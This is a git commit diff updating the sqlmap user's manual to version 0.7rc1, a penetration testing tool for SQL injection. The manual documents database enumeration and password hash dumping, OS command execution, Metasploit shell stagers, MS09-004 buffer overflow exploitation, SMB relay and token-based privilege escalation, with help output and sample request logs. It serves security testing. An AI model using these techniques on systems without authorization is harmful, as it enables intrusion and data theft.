mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-27 04:05:58 +00:00
Updated to sqlmap 0.7 release candidate 1
This commit is contained in:
Bernardo Damele
parent
b997df740a
commit
8c0ac767f4
129 changed files with 8386 additions and 1388 deletions
456
doc/README.html
456
doc/README.html
|
|
@ -8,7 +8,7 @@
|
|||
<H1>sqlmap user's manual</H1>
|
||||
|
||||
<H2>by
|
||||
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.4, 3rd of February 2009
|
||||
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.7 release candidate 1, April 22, 2009
|
||||
<HR>
|
||||
<EM>This document is the user's manual to use
|
||||
<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
|
||||
|
|
@ -27,6 +27,11 @@ for the latest version.</EM>
|
|||
<P>
|
||||
<H2><A NAME="toc2">2.</A> <A HREF="README.html#s2">Features</A></H2>
|
||||
|
||||
<UL>
|
||||
<LI><A NAME="toc2.1">2.1</A> <A HREF="README.html#ss2.1">Generic features</A>
|
||||
<LI><A NAME="toc2.2">2.2</A> <A HREF="README.html#ss2.2">Enumeration features</A>
|
||||
<LI><A NAME="toc2.3">2.3</A> <A HREF="README.html#ss2.3">Takeover features</A>
|
||||
</UL>
|
||||
<P>
|
||||
<H2><A NAME="toc3">3.</A> <A HREF="README.html#s3">Download and update</A></H2>
|
||||
|
||||
|
|
@ -52,7 +57,7 @@ for the latest version.</EM>
|
|||
<H2><A NAME="toc6">6.</A> <A HREF="README.html#s6">Disclaimer</A></H2>
|
||||
|
||||
<P>
|
||||
<H2><A NAME="toc7">7.</A> <A HREF="README.html#s7">Authors</A></H2>
|
||||
<H2><A NAME="toc7">7.</A> <A HREF="README.html#s7">Author</A></H2>
|
||||
|
||||
|
||||
<HR>
|
||||
|
|
@ -66,8 +71,12 @@ in web applications. Once it detects one or more SQL injections on the
|
|||
target host, the user can choose among a variety of options to perform an
|
||||
extensive back-end database management system fingerprint, retrieve DBMS
|
||||
session user and database, enumerate users, password hashes, privileges,
|
||||
databases, dump entire or user's specific DBMS tables/columns, run his own
|
||||
SQL statement, read specific files on the file system and more.</P>
|
||||
databases, dump entire or user's specified DBMS tables/columns, run his own
|
||||
SQL statement, read or write either text or binary files on the file
|
||||
system, execute arbitrary commands on the operating system, establish an
|
||||
out-of-band stateful connection between the attacker box and the database
|
||||
server via Metasploit payload stager, database stored procedure buffer
|
||||
overflow exploitation or SMB relay attack and more.</P>
|
||||
|
||||
|
||||
<H2><A NAME="ss1.1">1.1</A> <A HREF="#toc1.1">Requirements</A>
|
||||
|
|
@ -77,7 +86,7 @@ SQL statement, read specific files on the file system and more.</P>
|
|||
<A HREF="http://www.python.org">Python</A>,
|
||||
a dynamic object-oriented interpreted programming language.
|
||||
This makes the tool independent from the operating system since it only
|
||||
requires the Python interpreter version equal or above to 2.4.
|
||||
requires the Python interpreter version equal or above to <B>2.5</B>.
|
||||
The interpreter is freely downloadable from its
|
||||
<A HREF="http://python.org/download/">official site</A>.
|
||||
To make it even easier, many GNU/Linux distributions come out of the box
|
||||
|
|
@ -85,6 +94,11 @@ with Python interpreter package installed and other Unices and MacOS X
|
|||
too provide it packaged in their formats and ready to be installed.
|
||||
Windows users can download and install the Python setup-ready installer
|
||||
for x86, AMD64 and Itanium too.</P>
|
||||
<P>sqlmap relies on the
|
||||
<A HREF="http://metasploit.com/framework/">Metasploit Framework</A> for some of its post-exploitation takeover
|
||||
functionalities. You need to grab a copy of it from the
|
||||
<A HREF="http://metasploit.com/framework/download/">download</A>
|
||||
page. The required version is <B>3.2</B> or above.</P>
|
||||
<P>Optionally, if you are running sqlmap on Windows, you may wish to install
|
||||
<A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A>
|
||||
library to be able to take advantage of the sqlmap TAB completion and
|
||||
|
|
@ -187,10 +201,11 @@ in the following section to go ahead with the exploiting.</LI>
|
|||
vulnerability:</P>
|
||||
<P>
|
||||
<UL>
|
||||
<LI><B>Inferential blind SQL injection</B>: sqlmap appends to the
|
||||
affected parameter in the HTTP request, a syntatically valid SQL statement
|
||||
string containing a <CODE>SELECT</CODE> sub-statement, or any other SQL
|
||||
statement whose the user want to retrieve the output.
|
||||
<LI><B>Inferential blind SQL injection</B>, also known as <B>boolean
|
||||
based blind SQL injection</B>: sqlmap appends to the affected parameter in
|
||||
the HTTP request, a syntatically valid SQL statement string containing a
|
||||
<CODE>SELECT</CODE> sub-statement, or any other SQL statement whose the user
|
||||
want to retrieve the output.
|
||||
For each HTTP response, by making a comparison based upon HTML page
|
||||
content hashes, or string matches, with the original request, the tool
|
||||
determines the output value of the statement character by character.
|
||||
|
|
@ -198,21 +213,22 @@ The bisection algorithm implemented in sqlmap to perform this technique
|
|||
is able to fetch each output character with at maximum seven HTTP
|
||||
requests.
|
||||
This is sqlmap default SQL injection technique.</LI>
|
||||
<LI><B>UNION query (inband) SQL injection</B>, also known as <B>Full
|
||||
<LI><B>UNION query (inband) SQL injection</B>, also known as <B>full
|
||||
UNION query SQL injection</B>: sqlmap appends to the affected parameter
|
||||
in the HTTP request, a syntatically valid SQL statement string starting
|
||||
with a <CODE>UNION ALL SELECT</CODE>. This techique is useful if the web
|
||||
application page passes the output of the <CODE>SELECT</CODE> statement to a
|
||||
<CODE>for</CODE> cycle, or similar, so that each line of the query output is
|
||||
printed on the page content.
|
||||
sqlmap is also able to exploit <B>Partial UNION query SQL injection</B>
|
||||
vulnerabilities which occur when the output of the statement is not cycled
|
||||
in a for construct whereas only the first entry output is displayed.
|
||||
sqlmap is also able to exploit <B>partial (single entry) UNION query SQL
|
||||
injection</B> vulnerabilities which occur when the output of the statement
|
||||
is not cycled in a for construct whereas only the first entry output is
|
||||
displayed.
|
||||
This technique is much faster if the target url is affected by because
|
||||
in a single HTTP response it returns the whole query output or a entry
|
||||
per each response within the page content.
|
||||
This SQL injection technique is an alternative to the first one.</LI>
|
||||
<LI><B>Stacked queries support</B>, also known as <B>multiple
|
||||
<LI><B>Batched (stacked) queries support</B>, also known as <B>multiple
|
||||
statements support</B>: sqlmap tests if the web application supports
|
||||
stacked queries then, in case it does support, it appends to the affected
|
||||
parameter in the HTTP request, a semi-colon (<CODE>;</CODE>) followed by the
|
||||
|
|
@ -229,6 +245,11 @@ and the session user privileges.</LI>
|
|||
<H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
|
||||
|
||||
<P>Major features implemented in sqlmap include:</P>
|
||||
|
||||
|
||||
<H2><A NAME="ss2.1">2.1</A> <A HREF="#toc2.1">Generic features</A>
|
||||
</H2>
|
||||
|
||||
<P>
|
||||
<UL>
|
||||
<LI>Full support for <B>MySQL</B>, <B>Oracle</B>, <B>PostgreSQL</B>
|
||||
|
|
@ -238,31 +259,8 @@ identify Microsoft Access, DB2, Informix, Sybase and Interbase.
|
|||
</LI>
|
||||
<LI>Full support for three SQL injection techniques: <B> inferential
|
||||
blind SQL injection</B>, <B>UNION query (inband) SQL injection</B> and
|
||||
<B>stacked queries (multiple statements) support</B>. sqlmap can also
|
||||
test for <B>time based blind SQL injection</B>.
|
||||
</LI>
|
||||
<LI><B>Extensive back-end database management system fingerprint</B>
|
||||
based upon
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">inband error messages</A>,
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">banner parsing</A>,
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">functions output comparison</A> and
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">specific features</A>
|
||||
such as MySQL comment injection. It is also possible to force the back-end
|
||||
database management system name if you already know it. sqlmap is also able
|
||||
to fingerprint the web server operating system, the web application
|
||||
technology and, in some circumstances, the back-end DBMS operating system.
|
||||
</LI>
|
||||
<LI>Options to retrieve on all four back-end database management system
|
||||
<B>banner</B>, <B>current user</B>, <B>current database</B>,
|
||||
enumerate <B>users</B>, <B>users password hashes</B>, <B>users
|
||||
privileges</B>, <B>databases</B>, <B>tables</B>, <B>columns</B>,
|
||||
dump <B>tables entries</B>, dump <B>whole database management
|
||||
system</B> and run your <B>own SQL statement</B>.
|
||||
</LI>
|
||||
<LI>If the back-end database management system is MySQL it is also
|
||||
possible to <B>read a specific file content</B> from the ile system and,
|
||||
in some circumstances, <B>prompt for an interactive operating system
|
||||
shell</B> with TAB completion and history support.
|
||||
<B>batched queries support</B>. sqlmap can also test for <B>time based
|
||||
blind SQL injection</B>.
|
||||
</LI>
|
||||
<LI>It is possible to provide a single target URL, get the list of
|
||||
targets from
|
||||
|
|
@ -331,10 +329,6 @@ save command line options on a configuration INI file.
|
|||
<A HREF="http://metasploit.com/framework/">Metasploit</A> and
|
||||
<A HREF="http://w3af.sourceforge.net/">w3af</A>.
|
||||
</LI>
|
||||
<LI><B>File system</B> read and write access and <B>operating
|
||||
system</B> command execution by providing own queries, depending on the
|
||||
session user privileges and back-end DBMS.
|
||||
</LI>
|
||||
<LI><B>PHP setting <CODE>magic_quotes_gpc</CODE> bypass</B> by encoding
|
||||
every query string, between single quotes, with <CODE>CHAR</CODE>, or similar,
|
||||
database management system function.</LI>
|
||||
|
|
@ -342,32 +336,101 @@ database management system function.</LI>
|
|||
</P>
|
||||
|
||||
|
||||
<H2><A NAME="ss2.2">2.2</A> <A HREF="#toc2.2">Enumeration features</A>
|
||||
</H2>
|
||||
|
||||
<P>
|
||||
<UL>
|
||||
<LI><B>Extensive back-end database management system software and
|
||||
underlying operating system fingerprint</B>
|
||||
based upon
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">inband error messages</A>,
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">banner parsing</A>,
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">functions output comparison</A> and
|
||||
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">specific features</A>
|
||||
such as MySQL comment injection. It is also possible to force the back-end
|
||||
database management system name if you already know it. sqlmap is also able
|
||||
to fingerprint the web server operating system, the web application
|
||||
technology and, in some circumstances, the back-end DBMS operating system.
|
||||
</LI>
|
||||
<LI>Basic web server software and web application technology fingerprint.
|
||||
</LI>
|
||||
<LI>Support to retrieve on all four back-end database management system
|
||||
<B>banner</B>, <B>current user</B>, <B>current database</B>, check
|
||||
if the current user is a database administrator, enumerate <B>users</B>,
|
||||
<B>users password hashes</B>, <B>users privileges</B>,
|
||||
<B>databases</B>, <B>tables</B>, <B>columns</B>, dump <B>tables
|
||||
entries</B>, dump <B>whole database management system</B> and run user's
|
||||
<B>own SQL statement</B>.</LI>
|
||||
</UL>
|
||||
</P>
|
||||
|
||||
<H2><A NAME="ss2.3">2.3</A> <A HREF="#toc2.3">Takeover features</A>
|
||||
</H2>
|
||||
|
||||
<P>
|
||||
<UL>
|
||||
<LI>Support to <B>read either text or binary files</B> from the
|
||||
database server underlying file system when the database software is MySQL,
|
||||
PostgreSQL and Microsoft SQL Server.
|
||||
</LI>
|
||||
<LI>Support to <B>execute arbitrary commands</B> on the database server
|
||||
underlying operating system when the database software is MySQL,
|
||||
PostgreSQL via user-defined function injection and Microsoft SQL Server via
|
||||
<CODE>xp_cmdshell()</CODE> stored procedure.
|
||||
</LI>
|
||||
<LI>Support to <B>establish an out-of-band stateful connection between
|
||||
the attacker box and the database server</B> underlying operating system
|
||||
via:
|
||||
<UL>
|
||||
<LI><B>Stand-alone payload stager</B> created by Metasploit and
|
||||
supporting Meterpreter, shell and VNC payloads for both Windows and Linux;</LI>
|
||||
<LI><B>Microsoft SQL Server 2000 and 2005 <CODE>sp_replwritetovarbin</CODE>
|
||||
stored procedure heap-based buffer overflow</B> (MS09-004) exploitation
|
||||
with multi-stage Metasploit payload support;</LI>
|
||||
<LI><B>SMB reflection attack</B> with UNC path request from the
|
||||
database server to the attacker box by using the Metasploit
|
||||
<CODE>smb_relay</CODE> exploit on the attacker box.</LI>
|
||||
</UL>
|
||||
|
||||
</LI>
|
||||
<LI>Support for <B>database process' user privilege escalation</B> via
|
||||
Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via
|
||||
either Meterpreter's <CODE>incognito</CODE> extension or <CODE>Churrasco</CODE>
|
||||
stand-alone executable.</LI>
|
||||
</UL>
|
||||
</P>
|
||||
|
||||
<H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
|
||||
|
||||
<P><B>sqlmap 0.7 release candidate 1</B> version can be downloaded as a
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz">source gzip compressed</A> file or as a
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip">source zip compressed</A> file.</P>
|
||||
|
||||
<P>sqlmap can be downloaded from its
|
||||
<A HREF="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107">SourceForge File List page</A>.
|
||||
It is available in various formats:</P>
|
||||
<P>
|
||||
<UL>
|
||||
<LI>
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.gz">Source gzip compressed</A> operating system independent.
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.gz">Source gzip compressed</A> operating system independent.
|
||||
</LI>
|
||||
<LI>
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.bz2">Source bzip2 compressed</A> operating system independent.
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.tar.bz2">Source bzip2 compressed</A> operating system independent.
|
||||
</LI>
|
||||
<LI>
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.zip">Source zip compressed</A> operating system independent.
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1.zip">Source zip compressed</A> operating system independent.
|
||||
</LI>
|
||||
<LI>
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.4-1_all.deb">DEB binary package</A> architecture independent for Debian and any
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.7rc1-1_all.deb">DEB binary package</A> architecture independent for Debian and any
|
||||
other Debian derivated GNU/Linux distribution.
|
||||
</LI>
|
||||
<LI>
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
|
||||
other operating system that can install RPM packages.
|
||||
</LI>
|
||||
<LI>
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
|
||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.7rc1_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
|
||||
interpreter</B> to be installed on the operating system.</LI>
|
||||
</UL>
|
||||
</P>
|
||||
|
|
@ -405,8 +468,8 @@ and
|
|||
<PRE>
|
||||
$ python sqlmap.py -h
|
||||
|
||||
sqlmap/0.6.4 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
sqlmap/0.7rc1
|
||||
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
|
||||
Usage: sqlmap.py [options]
|
||||
|
||||
|
|
@ -427,19 +490,20 @@ Options:
|
|||
Request:
|
||||
These options can be used to specify how to connect to the target url.
|
||||
|
||||
--method=METHOD HTTP method, GET or POST (default: GET)
|
||||
--method=METHOD HTTP method, GET or POST (default GET)
|
||||
--data=DATA Data string to be sent through POST
|
||||
--cookie=COOKIE HTTP Cookie header
|
||||
--referer=REFERER HTTP Referer header
|
||||
--user-agent=AGENT HTTP User-Agent header
|
||||
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
|
||||
--headers=HEADERS Extra HTTP headers '\n' separated
|
||||
--auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
|
||||
--auth-cred=ACRED HTTP Authentication credentials, value: name:password
|
||||
--headers=HEADERS Extra HTTP headers newline separated
|
||||
--auth-type=ATYPE HTTP Authentication type (value Basic or Digest)
|
||||
--auth-cred=ACRED HTTP Authentication credentials (value name:password)
|
||||
--proxy=PROXY Use a HTTP proxy to connect to the target url
|
||||
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
|
||||
--delay=DELAY Delay in seconds between each HTTP request
|
||||
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
|
||||
--retries=RETRIES Retries when the connection timeouts (default 3)
|
||||
|
||||
Injection:
|
||||
These options can be used to specify which parameters to test for,
|
||||
|
|
@ -448,13 +512,13 @@ Options:
|
|||
|
||||
-p TESTPARAMETER Testable parameter(s)
|
||||
--dbms=DBMS Force back-end DBMS to this value
|
||||
--os=OS Force back-end DBMS operating system to this value
|
||||
--prefix=PREFIX Injection payload prefix string
|
||||
--postfix=POSTFIX Injection payload postfix string
|
||||
--string=STRING String to match in page when the query is valid
|
||||
--regexp=REGEXP Regexp to match in page when the query is valid
|
||||
--excl-str=ESTRING String to be excluded before calculating page hash
|
||||
--excl-reg=EREGEXP Regexp matches to be excluded before calculating page
|
||||
hash
|
||||
--excl-str=ESTRING String to be excluded before comparing page contents
|
||||
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
|
||||
|
||||
Techniques:
|
||||
These options can be used to test for specific SQL injection technique
|
||||
|
|
@ -463,6 +527,7 @@ Options:
|
|||
|
||||
--stacked-test Test for stacked queries (multiple statements) support
|
||||
--time-test Test for time based blind SQL injection
|
||||
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
|
||||
--union-test Test for UNION query (inband) SQL injection
|
||||
--union-tech=UTECH Technique to test for UNION query SQL injection
|
||||
--union-use Use the UNION query (inband) SQL injection to retrieve
|
||||
|
|
@ -481,13 +546,13 @@ Options:
|
|||
--current-db Retrieve DBMS current database
|
||||
--is-dba Detect if the DBMS current user is DBA
|
||||
--users Enumerate DBMS users
|
||||
--passwords Enumerate DBMS users password hashes (opt: -U)
|
||||
--privileges Enumerate DBMS users privileges (opt: -U)
|
||||
--passwords Enumerate DBMS users password hashes (opt -U)
|
||||
--privileges Enumerate DBMS users privileges (opt -U)
|
||||
--dbs Enumerate DBMS databases
|
||||
--tables Enumerate DBMS database tables (opt: -D)
|
||||
--columns Enumerate DBMS database table columns (req:-T opt:-D)
|
||||
--dump Dump DBMS database table entries (req: -T, opt: -D,
|
||||
-C, --start, --stop)
|
||||
--tables Enumerate DBMS database tables (opt -D)
|
||||
--columns Enumerate DBMS database table columns (req -T opt -D)
|
||||
--dump Dump DBMS database table entries (req -T, opt -D, -C,
|
||||
--start, --stop)
|
||||
--dump-all Dump all DBMS databases tables entries
|
||||
-D DB DBMS database to enumerate
|
||||
-T TBL DBMS database table to enumerate
|
||||
|
|
@ -501,28 +566,32 @@ Options:
|
|||
|
||||
File system access:
|
||||
These options can be used to access the back-end database management
|
||||
system file system taking advantage of native DBMS functions or
|
||||
specific DBMS design weaknesses.
|
||||
system underlying file system.
|
||||
|
||||
--read-file=RFILE Read a specific OS file content (only on MySQL)
|
||||
--write-file=WFILE Write to a specific OS file (not yet available)
|
||||
--read-file=RFILE Read a file from the back-end DBMS file system
|
||||
--write-file=WFILE Write a local file on the back-end DBMS file system
|
||||
--dest-file=DFILE Back-end DBMS absolute filepath to write to
|
||||
|
||||
Operating system access:
|
||||
This option can be used to access the back-end database management
|
||||
system operating system taking advantage of specific DBMS design
|
||||
weaknesses.
|
||||
system underlying operating system.
|
||||
|
||||
--os-shell Prompt for an interactive OS shell (only on PHP/MySQL
|
||||
environment with a writable directory within the web
|
||||
server document root for the moment)
|
||||
--os-cmd=OSCMD Execute an operating system command
|
||||
--os-shell Prompt for an interactive operating system shell
|
||||
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
|
||||
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
|
||||
--os-bof Stored procedure buffer overflow exploitation
|
||||
--priv-esc User priv escalation by abusing Windows access tokens
|
||||
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
|
||||
--tmp-path=TMPPATH Remote absolute path of temporary files directory
|
||||
|
||||
Miscellaneous:
|
||||
--eta Retrieve each query output length and calculate the
|
||||
estimated time of arrival in real time
|
||||
--eta Display for each output the estimated time of arrival
|
||||
--update Update sqlmap to the latest stable version
|
||||
-s SESSIONFILE Save and resume all data retrieved on a session file
|
||||
--save Save options on a configuration INI file
|
||||
--batch Never ask for user input, use the default behaviour
|
||||
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
|
||||
</PRE>
|
||||
</CODE></BLOCKQUOTE>
|
||||
</P>
|
||||
|
|
@ -624,7 +693,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
[hh:mm:55] [INFO] testing MySQL
|
||||
|
|
@ -637,7 +706,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
</PRE>
|
||||
|
|
@ -659,7 +728,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -680,7 +749,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
</PRE>
|
||||
|
|
@ -702,7 +771,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -730,7 +799,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -1041,7 +1110,7 @@ Host: 192.168.1.125:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
|
||||
Connection: close
|
||||
|
||||
|
|
@ -1057,7 +1126,7 @@ Accept-language: en-us,en;q=0.5
|
|||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
Cookie: ASPSESSIONIDSABTRCAS=469
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
|
||||
|
|
@ -1109,7 +1178,7 @@ Accept-language: en-us,en;q=0.5
|
|||
Referer: http://www.google.com
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
</PRE>
|
||||
|
|
@ -1126,7 +1195,7 @@ Connection: close
|
|||
<P>
|
||||
<BLOCKQUOTE><CODE>
|
||||
<PRE>
|
||||
sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
</PRE>
|
||||
</CODE></BLOCKQUOTE>
|
||||
</P>
|
||||
|
|
@ -1248,7 +1317,7 @@ Accept-language: en-us,en;q=0.5
|
|||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
|
||||
|
|
@ -1269,7 +1338,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication"
|
|||
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
|
||||
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
|
||||
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
</PRE>
|
||||
|
|
@ -1384,6 +1453,14 @@ the HTTP request timed out. The valid value is a float, for instance
|
|||
10.5 means ten seconds and a half.</P>
|
||||
|
||||
|
||||
<H3>Maximum number of retries when the HTTP connection timeouts</H3>
|
||||
|
||||
<P>Option: <CODE>--retries</CODE></P>
|
||||
|
||||
<P>It is possible to specify the maximum number of retries when the HTTP
|
||||
connection timeouts. By default it retries up to three times.</P>
|
||||
|
||||
|
||||
<H2><A NAME="ss5.4">5.4</A> <A HREF="#toc5.4">Injection</A>
|
||||
</H2>
|
||||
|
||||
|
|
@ -1442,7 +1519,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
|
|||
<BLOCKQUOTE><CODE>
|
||||
<PRE>
|
||||
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
|
||||
-p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
|
||||
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
|
||||
|
||||
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
|
||||
[hh:mm:40] [INFO] testing connection to the target url
|
||||
|
|
@ -1526,6 +1603,30 @@ back-end database management system. If you do not know it, let sqlmap
|
|||
automatically identify it for you.</P>
|
||||
|
||||
|
||||
<H3>Force the database management system operating system name</H3>
|
||||
|
||||
<P>Option: <CODE>--os</CODE></P>
|
||||
|
||||
<P>By default sqlmap automatically detects the web application's back-end
|
||||
database manangement system underlying operating system when requested by
|
||||
any other functionality.
|
||||
At the moment the fully supported operating systems are two:</P>
|
||||
<P>
|
||||
<UL>
|
||||
<LI>Linux</LI>
|
||||
<LI>Windows</LI>
|
||||
</UL>
|
||||
</P>
|
||||
|
||||
<P>It is possible to force the operating system name if you already know it so
|
||||
that sqlmap will skip the fingerprint.</P>
|
||||
|
||||
<P>Note that this option is <B>not</B> mandatory and it is strongly
|
||||
recommended to use it <B>only if you are absolutely sure</B> about the
|
||||
back-end database management system underlying operating system. If you do
|
||||
not know it, let sqlmap automatically identify it for you.</P>
|
||||
|
||||
|
||||
<H3>Custom injection payload</H3>
|
||||
|
||||
<P>Options: <CODE>--prefix</CODE> and <CODE>--postfix</CODE></P>
|
||||
|
|
@ -1556,7 +1657,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
